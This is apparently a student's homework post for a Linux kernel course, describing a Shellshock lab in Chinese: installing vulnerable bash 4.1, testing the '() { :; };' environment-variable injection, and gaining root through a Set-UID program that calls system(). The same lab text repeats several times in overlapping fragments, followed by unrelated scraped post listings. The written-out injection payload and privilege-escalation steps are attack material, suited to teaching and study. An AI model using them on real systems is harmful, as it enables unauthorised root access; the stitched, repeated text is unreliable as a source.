20199326《Linux内核原理与分析》第十一周作业
Shellsock攻击实验
实验背景
2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发。
Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统——摘自维基百科
环境搭建
1.首先安装4.1版本的bash
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install
2.链接一下bash
$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash
3.检测一下是否存在shellshock漏洞
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
输出是vulnerable的话,说明有漏洞

4.让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
shellshock漏洞的真身
export foo='() { :; }; echo Hello World'
bash
>Hello World

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
2014年9月24日,Bash中发现了一个严重漏洞shellshock,该漏洞可用于许多系统,并且既可以远程也可以在本地触发。
Shellshock,又称Bashdoor,是在Unix中广泛使用的Bash shell中的一个安全漏洞,首次于2014年9月24日公开。许多互联网守护进程,如网页服务器,使用bash来处理某些命令,从而允许攻击者在易受攻击的Bash版本上执行任意代码。这可使攻击者在未授权的情况下访问计算机系统——摘自维基百科
环境搭建
1.首先安装4.1版本的bash
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install
2.链接一下bash
$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash
3.检测一下是否存在shellshock漏洞
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
输出是vulnerable的话,说明有漏洞

4.让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
shellshock漏洞的真身
export foo='() { :; }; echo Hello World'
bash
>Hello World

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
1.首先安装4.1版本的bash
$ sudo su
$ wget http://labfile.oss.aliyuncs.com/bash-4.1.tar.gz
$ tar xf bash-4.1.tar.gz
$ cd bash-4.1
$ ./configure #这一步过程比较长,请等待一会
$ make && make install
2.链接一下bash
$ rm /bin/bash
$ ln -s /usr/local/bin/bash /bin/bash
3.检测一下是否存在shellshock漏洞
$ exit
$ env x='() { :; }; echo vulnerable' bash -c "echo this is a test"
输出是vulnerable的话,说明有漏洞
4.让/bin/sh 指向/bin/bash.
$ sudo ln -sf /bin/bash /bin/sh
shellshock漏洞的真身
export foo='() { :; }; echo Hello World'
bash
>Hello World

bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
export foo='() { :; }; echo Hello World'
bash
>Hello World
bash读取了环境变量,在定义foo之后直接调用了后面的函数。 一旦调用bash,自定义的语句就直接触发。
正式实验
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock

4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员

去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了

这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
大致原理:因为system函数调用“/bin/sh -c”来运行指定的命令,这意味着/bin/bash会被调用。但是这一个版本的bash有漏洞,他会读取环境变量。
1.首先,将/bin/sh指向/bin/bash
$ sudo ln -sf /bin/bash /bin/sh
2.然后新建一个shock.c文件,主要是调用一下ls命令,代码如下:
#include <stdio.h>
void main()
{
setuid(geteuid()); // make real uid = effective uid.
system("/bin/ls -l");
}
3.编译这段代码,并设置其为Set-UID程序,保证它的所有者是root,为用户增加了s。
$ sudo su
$ gcc -o shock shock.c
$ chmod u+s shock
4.然后退出管理员权限,执行shock,进行夺取权限的攻击
exit
export foo='() { :; }; bash'
./shock
可以发现,这时的权限变成了管理员
去掉setuid(geteuid()),再重复上述实验,发现夺取权限失败了
这就说明如果 real uid 和 effective uid 相同的话,定义在环境变量中的内容在该程序内有效,那样shellshock漏洞就能够被利用了。但是如果两个 uid 不同的话,环境变量失效,就无法发动攻击了
20199326《Linux内核原理与分析》第十一周作业的更多相关文章
- 20169212《Linux内核原理与分析》第二周作业
<Linux内核原理与分析>第二周作业 这一周学习了MOOCLinux内核分析的第一讲,计算机是如何工作的?由于本科对相关知识的不熟悉,所以感觉有的知识理解起来了有一定的难度,不过多查查资 ...
- 20169210《Linux内核原理与分析》第二周作业
<Linux内核原理与分析>第二周作业 本周作业分为两部分:第一部分为观看学习视频并完成实验楼实验一:第二部分为看<Linux内核设计与实现>1.2.18章并安装配置内核. 第 ...
- 2018-2019-1 20189221 《Linux内核原理与分析》第九周作业
2018-2019-1 20189221 <Linux内核原理与分析>第九周作业 实验八 理理解进程调度时机跟踪分析进程调度与进程切换的过程 进程调度 进度调度时机: 1.中断处理过程(包 ...
- 2017-2018-1 20179215《Linux内核原理与分析》第二周作业
20179215<Linux内核原理与分析>第二周作业 这一周主要了解了计算机是如何工作的,包括现在存储程序计算机的工作模型.X86汇编指令包括几种内存地址的寻址方式和push.pop.c ...
- 2019-2020-1 20199329《Linux内核原理与分析》第九周作业
<Linux内核原理与分析>第九周作业 一.本周内容概述: 阐释linux操作系统的整体构架 理解linux系统的一般执行过程和进程调度的时机 理解linux系统的中断和进程上下文切换 二 ...
- 2019-2020-1 20199329《Linux内核原理与分析》第二周作业
<Linux内核原理与分析>第二周作业 一.上周问题总结: 未能及时整理笔记 Linux还需要多用 markdown格式不熟练 发布博客时间超过规定期限 二.本周学习内容: <庖丁解 ...
- 2019-2020-1 20209313《Linux内核原理与分析》第二周作业
2019-2020-1 20209313<Linux内核原理与分析>第二周作业 零.总结 阐明自己对"计算机是如何工作的"理解. 一.myod 步骤 复习c文件处理内容 ...
- 2018-2019-1 20189221《Linux内核原理与分析》第一周作业
Linux内核原理与分析 - 第一周作业 实验1 Linux系统简介 Linux历史 1991 年 10 月,Linus Torvalds想在自己的电脑上运行UNIX,可是 UNIX 的商业版本非常昂 ...
- 《Linux内核原理与分析》第一周作业 20189210
实验一 Linux系统简介 这一节主要学习了Linux的历史,Linux有关的重要人物以及学习Linux的方法,Linux和Windows的区别.其中学到了LInux中的应用程序大都为开源自由的软件, ...
- 2018-2019-1 20189221《Linux内核原理与分析》第二周作业
读书报告 <庖丁解牛Linux内核分析> 第 1 章 计算工作原理 1.1 存储程序计算机工作模型 1.2 x86-32汇编基础 1.3汇编一个简单的C语言程序并分析其汇编指令执行过程 因 ...
随机推荐
- HIT软件构造课程3.4总结(Object-Oriented Programming )
上一节学习了ADT理论,这一节学习ADT的具体实现:OOP 1.基本概念:对象,类,属性,方法 对象 对象是状态和行为的捆绑.java中,状态=成员变量,行为=方法. 类 每个对象都定义了一个类,类定 ...
- CentOS 7 Docker安装
1. uname -a 查询机器信息,确保CPU为64位,且Linux内核在3.10版本以上 2. 更新yum包: yum update 3. 在 /etc/yum.repos.d下创建 docker ...
- Python 参数使用总结
Python 中参数的传递非常灵活,不太容易记住理解,特整理如下备忘: 普通参数 即按照函数所需的参数,对应位置传递对应的值,可以对应 Java 中的普通参数 def max(a, b): if a ...
- Scratch2的鸡兔同笼
解题思路鸡兔同笼新算法:已知共有鸡和兔15只,共有40只脚,问鸡和兔各有几只.算法:假设鸡和兔训练有素,吹一声哨,它们抬起一只脚,(40-15=25) .再吹一声哨,它们又抬起一只脚,(25-15=1 ...
- 微信小程序H5预览页面框架
<!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content ...
- Linux网络安全篇,认识防火墙(一)
一.概念 防火墙分为软件防火墙和硬件防火墙.我们的主要讨论范围为软件防火墙. 软件防火墙又分为网络型和单一型的管理. 1.单一主机型防火墙 (1)数据包过滤型的Netfilter (2)依据服务软件程 ...
- JQUERY滚动加载
$(document).height():整个网页的高度$(window).height():浏览器可视窗口的高度$(window).scrollTop():浏览器可视窗口顶端距离网页顶端的高度(垂直 ...
- Java Array数组使用详解
本文主要讲解java中array数组使用,包含堆.栈内存分配及区别 1.动态初始化 package myArray; /* * 堆:存储的是new出来的东西,实体,对象 * A 每个对象都有地址值 * ...
- 04 jmeter使用方式3种
1.手工添加配置元件编写 2.jmeter+badboy 工具录制---不建议使用 3.设置代理服务器(jmeter添加‘非测试元件-http代理服务器’,再添加一个线程组用来保留代理抓取的url,设 ...
- Wpf之HandyControls与MaterialDesign混用之DataGrid
首先在App.Xaml引入相关资源 <Application.Resources> <ResourceDictionary> <ResourceDictionary.Me ...